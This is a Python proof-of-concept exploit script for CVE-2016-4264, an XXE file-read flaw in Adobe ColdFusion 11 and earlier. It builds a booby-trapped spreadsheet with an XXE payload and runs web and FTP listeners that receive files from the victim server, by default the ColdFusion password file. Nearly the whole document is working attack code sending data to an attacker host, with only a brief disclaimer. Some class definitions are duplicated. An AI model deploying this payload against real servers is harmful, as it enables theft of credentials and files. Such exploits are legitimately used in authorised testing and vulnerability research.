#!/usr/bin/python  

intro = """
(CVE-2016-4264) ColdFusion <= 11   XXE / Arbitrary File Read PoC exploit

This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be 
uploaded to a vulnerable ColdFusion application. 
It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080) 
in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet).

Discovered/Coded by:

 Dawid Golunski
 http://legalhackers.com
"""
usage = """
Usage:
The exploit requires that you have an external IP and can start web/http listeners on ports 
8080/9090 on the attacking machine.

./cf_xxe_exploit.py external_IP 'path_to_fetch'

The example below starts an ftp listener on 192.168.1.40 (port 9090) and web server on 8080 
and fetches c:\windows\win.ini file from the target.

./cf_xxe_exploit.py 192.168.1.40 c:/windows/win.ini

The path can also be a directory to retrieve a directory listing e.g:

./cf_xxe_exploit.py 192.168.1.40 c:/

will list the contents of drive C: on Windows

Disclaimer:
For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt
"""

import socket     
import subprocess
import sys
import web # http://webpy.org/installation
import threading
import time

# What file to retrieve from the victim server
target_file = "c:/ColdFusion11/cfusion/lib/pass"
# Web server (to serve XML)
external_ip = '192.168.57.10'
web_port = 8080
# File receiver 
ftp_port = 9090 
timeout=5    

# HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection
class webserver(threading.Thread):
    def run (self):
        urls = ('/passdata.xml', 'pass_xml')
        app = web.application(urls, globals())
        #app.run()
	return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port))

# Pass data to ftp server using passdata.xml
class pass_xml:
    def GET(self):
	print xxe_send_payload

# HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection
class webserver(threading.Thread):
    def run (self):
        urls = ('/passdata.xml', 'pass_xml')
        app = web.application(urls, globals())
        #app.run()
	return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port))

# Return helper xml/xxe payload to forward data
class pass_xml:
    def GET(self):
	print "[+] Received GET /passdata.xml web request from the victim (%s) ! TARGET VULNERABLE to XXE !\n" % (web.ctx['ip'])
	return xxe_send_payload

def shutdown(code):
	print "[+] That's it folks :) Shutting down \n"
	web.httpserver.server.interrupt = KeyboardInterrupt()
	exit(code)


# [ Main Meat ]

print intro
redirector_started = 0

if len(sys.argv) < 3 :
   print usage
   sys.exit(2)

# Overwrite settings with parameters from argv[]
external_ip = sys.argv[1]
target_file = sys.argv[2]

print "[+] Setting external IP to '%s' and target path to '%s'\n" % (external_ip, target_file)

# Prepare XXE payloads
#OOXML XXE stub
ooxml_xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Types [
        <!ENTITY % remote SYSTEM "http://_attackerhost_:_webport_/passdata.xml">
        %remote; 
]>
"""
ooxml_xxe_payload = ooxml_xxe_payload.replace("_attackerhost_", external_ip)
ooxml_xxe_payload = ooxml_xxe_payload.replace("_webport_", str(web_port))

# passdata.xml
xxe_send_payload = """<!ENTITY % file1 SYSTEM "file:///_filepath_">
<!ENTITY % param1 '<!ENTITY &#37; retrfile1 SYSTEM "ftp://cfhack:PoCexploit@_attackerhost_:_ftpport_/%file1;" >' >
%param1;
%retrfile1; """
xxe_send_payload = xxe_send_payload.replace("_filepath_", target_file)
xxe_send_payload = xxe_send_payload.replace("_attackerhost_", external_ip)
xxe_send_payload = xxe_send_payload.replace("_ftpport_", str(ftp_port))

# Create OXML spreadsheet file cf_poc_spreadsheet.xlsx with XXE payload
f = open("[Content_Types].xml", "w")
f.write(ooxml_xxe_payload )
f.close()
cmd = "zip -r cf_poc_spreadsheet.xlsx '[Content_Types].xml' && rm -f '[Content_Types].xml'"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
	print "Error: failed to execute command:", cmd
	print error 
	shutdown(3)

print "[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file\n" 
print "[+] Starting our web server to serve XML on %s:%s \n" % (external_ip, web_port)
webserver().start()
time.sleep(1)

print '\n[+] Starting FTP/data listener and waiting for connection on %s:%d\n' % (external_ip, ftp_port)
s = socket.socket()         # Create/bind socket
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((external_ip, ftp_port))  

print "[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...\n"

s.listen(5)                 # Wait for the victim to connect
c, addr = s.accept()        # Establish connection with the victim
print '\n[+] Got a connection from ', addr, " to our FTP/data server. Meaning juicy data is on the way! :)\n"
c.send("220 Welcome to ColdFusion XXE PoC exploit server\n")

print '[+] Receiving data from the victim...\n'

downloaded = ""

while True:
   data = ""
   c.settimeout(timeout)
   try:
        data = c.recv(1024)
   except socket.timeout:
        print "Timeout ! No more data\n"
	break

   # extract data
   if data.startswith("CWD "):
	   downloaded = downloaded + data[4:]
   if data.startswith("RETR "):
	   downloaded = downloaded + data[5:]

   print "Received packet: " + data
   #sys.stdout.write('.')
   #sys.stdout.flush()

   if "USER" in data:
      c.send("331 password needed\n")
   elif "RETR" in data:
	c.send("550 No such file or directory.\n")
	break
   else:
      c.send('230 continue\n')

# Results
print "\n\n[+] Here's the retrieved contents of the target file/directory (%s) : \n\n%s\n" % (target_file, downloaded)

# shutdown
c.close()                # Close the connection
s.shutdown(0)
s.close()
shutdown(0)


